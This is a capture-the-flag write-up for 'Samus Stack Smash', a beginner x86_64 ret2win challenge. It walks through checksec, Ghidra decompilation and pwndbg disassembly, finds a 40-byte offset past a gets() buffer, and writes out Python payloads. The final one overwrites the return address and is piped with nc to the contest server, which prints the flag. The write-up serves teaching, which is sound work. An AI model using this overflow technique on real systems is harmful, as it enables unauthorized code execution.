Samus Stack Smash

RIFFHACK: Black Market Break-In write-up - a classic x86_64 ret2win on a no-PIE Linux binary, walked through with pwndbg.

Event: RIFFHACK - Black Market Break-In Β Β·Β  Category: Binary Exploitation Β Β·Β  Difficulty: Easy

Description

A Federation checkpoint AI loops the same authorization prompt while a damaged Chozo console hums behind it. Push past the guard and see what the access vault is hiding.

Binary

samus_stack_smash (ELF x86-64 β€” renamed to .txt for hosting)

Solution

Let’s start with the basics:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
β”Œβ”€β”€(s1nisterγ‰Ώkali)-[~]
└─$ file samus_stack_smash
samus_stack_smash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e23de7e27ae67bac3f1f58ed923d32bb1a08bbb9, for GNU/Linux 3.2.0, not stripped

β”Œβ”€β”€(s1nisterγ‰Ώkali)-[~]
└─$ checksec samus_stack_smash
[*] '/home/s1nister/samus_stack_smash'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Cool. This will be important for us later: PIE: No PIE. No source code though, so let’s jump into Ghidra.

Symbols are present, so we get dropped right into the main function. In fact here are some other functions that might be of interest:

Ghidra’s function listing β€” symbols are intact

Let’s take a look at main:

1
2
3
4
5
6
7
8
undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  vuln();
  puts("Signal lost.");
  return 0;
}

Seems pretty small. Just a call to vuln(). This is what vuln contains:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void vuln(void)

{
  char local_28 [32];

  puts("== Galactic Federation Checkpoint ==");
  puts("Samus, state your authorization glyphs:");
  printf("> ");
  gets(local_28);
  printf("Telemetry echo: %s\n",local_28);
  return;
}

Aha! It uses gets, which is a dangerous function since it allows reading an arbitrary amount of bytes. Which means it’s prone to buffer overflow.

But you’ll soon notice that there is no mention of a flag anywhere. Let’s keep going through the list of functions we got. What’s mission_clear?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void mission_clear(void)

{
  char *pcVar1;
  char local_98 [136];
  FILE *local_10;

  local_10 = fopen("/flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("flag file missing. Contact an admin.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  pcVar1 = fgets(local_98,0x80,local_10);
  if (pcVar1 == (char *)0x0) {
    puts("Could not read the flag.");
    fclose(local_10);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fclose(local_10);
  printf("Mission complete! %s",local_98);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Now that’s interesting. It seems to be the function that will actually print the flag and give us the answer. But who calls it? Where does mission_clear get called from?

We can right-click the function name and select References > Find References to mission_clear, and this is what we see:

No xrefs to mission_clear β€” it’s never called

So no one seems to be calling mission_clear. It seems like this function is unused at first glance. But then this is the function that gives us the flag. Well then how does this function even get called and how are we supposed to get the flag?

Answer: we have to forcefully call the function.

How do we do that?

Here’s how:

  1. Somehow get access to the RIP (the register that points to the next instruction to be executed).
  2. Make RIP point to the address of mission_clear so that this function gets executed next and prints out the flag.

(Buffer overflows might have something to do with this.)

If you’ve been doing CTFs for some time, this is a classic ret2win challenge.

THE MAIN IDEA: our goal is to replace the value of RIP (instruction pointer). It points to the next instruction to be executed, and therefore RIP should hold the address of mission_clear. The next instruction to be executed will then be the beginning of our mission_clear function, which in turn prints out the flag.

And what address is mission_clear at? Let’s figure that out and keep it with us for later. Running info functions inside pwndbg should be enough.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010b0  puts@plt
0x00000000004010c0  fclose@plt
0x00000000004010d0  printf@plt
0x00000000004010e0  fgets@plt
0x00000000004010f0  gets@plt
0x0000000000401100  setvbuf@plt
0x0000000000401110  fopen@plt
0x0000000000401120  exit@plt
0x0000000000401130  _start
0x0000000000401160  _dl_relocate_static_pie
0x0000000000401170  deregister_tm_clones
0x00000000004011a0  register_tm_clones
0x00000000004011e0  __do_global_dtors_aux
0x0000000000401210  frame_dummy
0x0000000000401216  mission_clear
0x00000000004012d8  vuln
0x0000000000401345  main
0x0000000000401388  _fini
1
0x0000000000401216  mission_clear

Address of mission_clear: 0x0000000000401216. Keep this address with you. We’ll use it shortly.

Let’s continue!

πŸ’‘ Tip

Remember the checksec output we had before? Remember seeing No PIE?

no-pie is a compiler/linker flag primarily used to disable the generation of Position Independent Executables (PIE). It serves as a prerequisite for ASLR, and no ASLR means that β€” in general β€” functions and variables always live at the same hex addresses.

So if we can find the address of mission_clear during our static analysis (using tools like Ghidra), we can be sure that the address will remain the same at runtime as well.

So how can we control RIP? Let’s explore the disassembly of vuln to figure it out. I’ll be using pwndbg. You can just use plain gdb as well.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwndbg> disas vuln
Dump of assembler code for function vuln:
   0x00000000004012d8 <+0>:	endbr64
   0x00000000004012dc <+4>:	push   rbp
   0x00000000004012dd <+5>:	mov    rbp,rsp
   0x00000000004012e0 <+8>:	sub    rsp,0x20
   0x00000000004012e4 <+12>:	lea    rax,[rip+0xd85]        # 0x402070
   0x00000000004012eb <+19>:	mov    rdi,rax
   0x00000000004012ee <+22>:	call   0x4010b0 <puts@plt>
   0x00000000004012f3 <+27>:	lea    rax,[rip+0xd9e]        # 0x402098
   0x00000000004012fa <+34>:	mov    rdi,rax
   0x00000000004012fd <+37>:	call   0x4010b0 <puts@plt>
   0x0000000000401302 <+42>:	lea    rax,[rip+0xdb7]        # 0x4020c0
   0x0000000000401309 <+49>:	mov    rdi,rax
   0x000000000040130c <+52>:	mov    eax,0x0
   0x0000000000401311 <+57>:	call   0x4010d0 <printf@plt>
   0x0000000000401316 <+62>:	lea    rax,[rbp-0x20]
   0x000000000040131a <+66>:	mov    rdi,rax
   0x000000000040131d <+69>:	mov    eax,0x0
   0x0000000000401322 <+74>:	call   0x4010f0 <gets@plt>
   0x0000000000401327 <+79>:	lea    rax,[rbp-0x20]
   0x000000000040132b <+83>:	mov    rsi,rax
   0x000000000040132e <+86>:	lea    rax,[rip+0xd8e]        # 0x4020c3
   0x0000000000401335 <+93>:	mov    rdi,rax
   0x0000000000401338 <+96>:	mov    eax,0x0
   0x000000000040133d <+101>:	call   0x4010d0 <printf@plt>
   0x0000000000401342 <+106>:	nop
   0x0000000000401343 <+107>:	leave
   0x0000000000401344 <+108>:	ret
End of assembler dump.

Let’s look near the end. What happens when this function ends?

1
2
   0x0000000000401343 <+107>:	leave
   0x0000000000401344 <+108>:	ret

What do you think ret actually does under the hood?

πŸ“ Note

In 64-bit mode (IA-32e mode), executing a plain ret is functionally equivalent to:

  1. Pop from the stack into the instruction pointer register (RIP).
  2. Jump to the address stored in RIP.

Let’s focus on the “pop from the stack” part. Pop from where in the stack? From the top of the stack, of course! What points to the top of the stack? The RSP register, of course!

Hence, if we can somehow take control of RSP, we essentially have control over RIP when the vuln function returns.

Our next job, then, is to take control of RSP. Let’s look back at the decompiled vuln function:

1
2
3
4
5
6
7
  char local_28 [32];

  puts("== Galactic Federation Checkpoint ==");
  puts("Samus, state your authorization glyphs:");
  printf("> ");
  gets(local_28);
  printf("Telemetry echo: %s\n",local_28);

We read from input using gets and store it inside a buffer of size 32. But nothing is stopping us from typing more than 32 characters into the input, and that should overflow the buffer.

If we start the executable and type something larger than 32 characters, this is what happens:

1
2
3
4
5
6
== Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

Let’s look at the registers:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
─────────────────────[ LAST SIGNAL ]─────────────────────
Program received signal SIGSEGV (fault address: 0x0).
─────────────────────[ REGISTERS ]─────────────────────
 RAX  0x54
 RBX  0
 RCX  0
 RDX  0
 RDI  0x7fffffffda50 β€”β–Έ 0x7fffffffda80 β—‚β€” 'Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
 RSI  0x7fffffffda80 β—‚β€” 'Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
 R8   0x54
 R9   0
 R10  0
 R11  0x202
 R12  1
 R13  0x7ffff7ffd000 (_rtld_global) β€”β–Έ 0x7ffff7ffe2f0 β—‚β€” 0
 R14  0x7fffffffdd88 β€”β–Έ 0x7fffffffe0e8 β—‚β€” 0x5245545f5353454c ('LESS_TER')
 R15  0x403e18 (__do_global_dtors_aux_fini_array_entry) β€”β–Έ 0x4011e0 (__do_global_dtors_aux) β—‚β€” endbr64
 RBP  0x4141414141414141 ('AAAAAAAA')
 RSP  0x7fffffffdc58 β—‚β€” 'AAAAAAAAAAAAAAAAAAAAAAAAAAA'
 RIP  0x401344 (vuln+108) β—‚β€” ret

Focus on this bit right here:

1
RSP  0x7fffffffdc58 β—‚β€” 'AAAAAAAAAAAAAAAAAAAAAAAAAAA'

Nice! So by typing lots of characters into the input we managed to overflow the input buffer and we overflowed into RSP.

Why does it overflow into the RSP, you might ask. Or, what does our input have to do with writing into RSP? Well, local variables inside of functions are usually stored on the stack. So when you overflow the buffer, you’re effectively overflowing into other things that are also on the stack β€” which might also include the value at the top of the stack that RSP points to.

You can play around with more or fewer characters to see how that affects the registers, but let’s get back to business.

THE MAIN IDEA: find how many characters it takes to overflow right into the start of RSP. After that, write the address of mission_clear into RSP so that when RSP is popped into RIP, RIP will point to mission_clear β€” which would cause our target function to run and give us the flag!

Our first task, then, is to find the number of characters after which we reach into RSP.

Let’s create some inputs using cyclic in pwndbg:

1
2
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

That string will be our input. Let’s run our executable with it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
pwndbg> run
Starting program: /home/s1nister/binexp/samus_stack_smash
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc4000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
== Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Telemetry echo: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.

Look at the registers and RSP should show something like:

1
2
 RSP  0x7fffffffdc58 β—‚β€” 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
 RIP  0x401344 (vuln+108) β—‚β€” ret

Take the first 8 characters (8 bytes) and then use cyclic -l <inp>:

1
2
3
pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

This tells us that 40 A characters overflow to reach right at the start of RSP. After that, whatever you send goes into whatever location RSP points to. (BTW we’re not writing into RSP per se β€” RSP is just a register that holds the location of the top of the stack. We’re interested in what RSP points to, not RSP itself.)

Let’s test this. The following is what we want to achieve:

1
2
3
4
'A' * 40 + 0xdeadbeef

Which is just:  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  0000deadbeef
                            Other stuff                  |    RSP    |

Here is our payload:

1
python -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x00\x00\x00\x00\xde\xad\xbe\xef")' > payload

Let’s pipe that into our program with run < payload:

1
2
 RSP  0x7fffffffdc58 β—‚β€” 0xefbeadde00000000
 RIP  0x401344 (vuln+108) β—‚β€” ret

Strange. RSP should show 0000deadbeef, right? Not really β€” this is a little-endian binary. Read more about endianness on Wikipedia.

All that means is we should pass in this instead:

1
b"\xef\xbe\xad\xde\x00\x00\x00\x00"

Let’s do that:

1
python -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\xef\xbe\xad\xde\x00\x00\x00\x00")' > payload

And run it again:

1
2
 RSP  0x7fffffffdc60 β€”β–Έ 0x7fffffffdd00 β—‚β€” 0
 RIP  0xdeadbeef

Would you look at that! Our 0xdeadbeef made it into RSP and was subsequently popped into RIP as well, so the next piece of code to be executed is at address 0xdeadbeef!

All we need to do right now is replace 0xdeadbeef with the address of mission_clear. In little-endian, of course. We can use 0x0000000000401216, or even something like 0x000000000040121a or 0x000000000040121b β€” use the disassembly below as a reference. It’s important that you play around with which address makes it work. Sometimes the first address might not work and some other addresses might fail because of bad characters in them. These things are left for the reader to experiment with. Read more about bad characters in exploit development.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> disas mission_clear
Dump of assembler code for function mission_clear:
   0x0000000000401216 <+0>:	endbr64
   0x000000000040121a <+4>:	push   rbp
   0x000000000040121b <+5>:	mov    rbp,rsp
   0x000000000040121e <+8>:	sub    rsp,0x90
   0x0000000000401225 <+15>:	lea    rax,[rip+0xddc]        # 0x402008
   0x000000000040122c <+22>:	mov    rsi,rax
   0x000000000040122f <+25>:	lea    rax,[rip+0xdd4]        # 0x40200a
   0x0000000000401236 <+32>:	mov    rdi,rax
   0x0000000000401239 <+35>:	call   0x401110 <fopen@plt>
   0x000000000040123e <+40>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401242 <+44>:	cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000401247 <+49>:	jne    0x401262 <mission_clear+76>
   0x0000000000401249 <+51>:	lea    rax,[rip+0xdc8]        # 0x402018
   0x0000000000401250 <+58>:	mov    rdi,rax
   0x0000000000401253 <+61>:	call   0x4010b0 <puts@plt>
   0x0000000000401258 <+66>:	mov    edi,0x1
   0x000000000040125d <+71>:	call   0x401120 <exit@plt>
   0x0000000000401262 <+76>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000401266 <+80>:	lea    rax,[rbp-0x90]
   0x000000000040126d <+87>:	mov    esi,0x80
   0x0000000000401272 <+92>:	mov    rdi,rax
   0x0000000000401275 <+95>:	call   0x4010e0 <fgets@plt>
   0x000000000040127a <+100>:	test   rax,rax
   0x000000000040127d <+103>:	jne    0x4012a4 <mission_clear+142>
   0x000000000040127f <+105>:	lea    rax,[rip+0xdb7]        # 0x40203d
   0x0000000000401286 <+112>:	mov    rdi,rax
   0x0000000000401289 <+115>:	call   0x4010b0 <puts@plt>
   0x000000000040128e <+120>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000401292 <+124>:	mov    rdi,rax
   0x0000000000401295 <+127>:	call   0x4010c0 <fclose@plt>
   0x000000000040129a <+132>:	mov    edi,0x1
   0x000000000040129f <+137>:	call   0x401120 <exit@plt>
   0x00000000004012a4 <+142>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004012a8 <+146>:	mov    rdi,rax
   0x00000000004012ab <+149>:	call   0x4010c0 <fclose@plt>
   0x00000000004012b0 <+154>:	lea    rax,[rbp-0x90]
   0x00000000004012b7 <+161>:	mov    rsi,rax
   0x00000000004012ba <+164>:	lea    rax,[rip+0xd95]        # 0x402056
   0x00000000004012c1 <+171>:	mov    rdi,rax
   0x00000000004012c4 <+174>:	mov    eax,0x0
   0x00000000004012c9 <+179>:	call   0x4010d0 <printf@plt>
   0x00000000004012ce <+184>:	mov    edi,0x0
   0x00000000004012d3 <+189>:	call   0x401120 <exit@plt>
End of assembler dump.

Anyway, I’ll use 0x000000000040121b. In little-endian of course.

1
python -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x1b\x12\x40\x00\x00\x00\x00\x00")' > payload
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pwndbg> run < payload
Starting program: /home/s1nister/binexp/samus_stack_smash < payload
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc4000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
== Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flag file missing. Contact an admin.
[Inferior 1 (process 12779) exited with code 01]

And with this payload our mission_clear actually executes. If we’d had a flag file, it would’ve printed the flag as well.

Here’s what I used to solve it during the contest:

1
2
3
4
5
(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x1b\x12\x40\x00\x00\x00\x00\x00\n")'; cat) | nc 192.81.208.91 1337
== Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mission complete! bitctf{{m37r01d_57ack_0v3rrun}}

You can make the solution fancier with pwntools and writing it all inside an exploit.py. Maybe we’ll do that next time :)


Thanks for reading!

β€” s1nisteR

Made with ❀️ and β˜•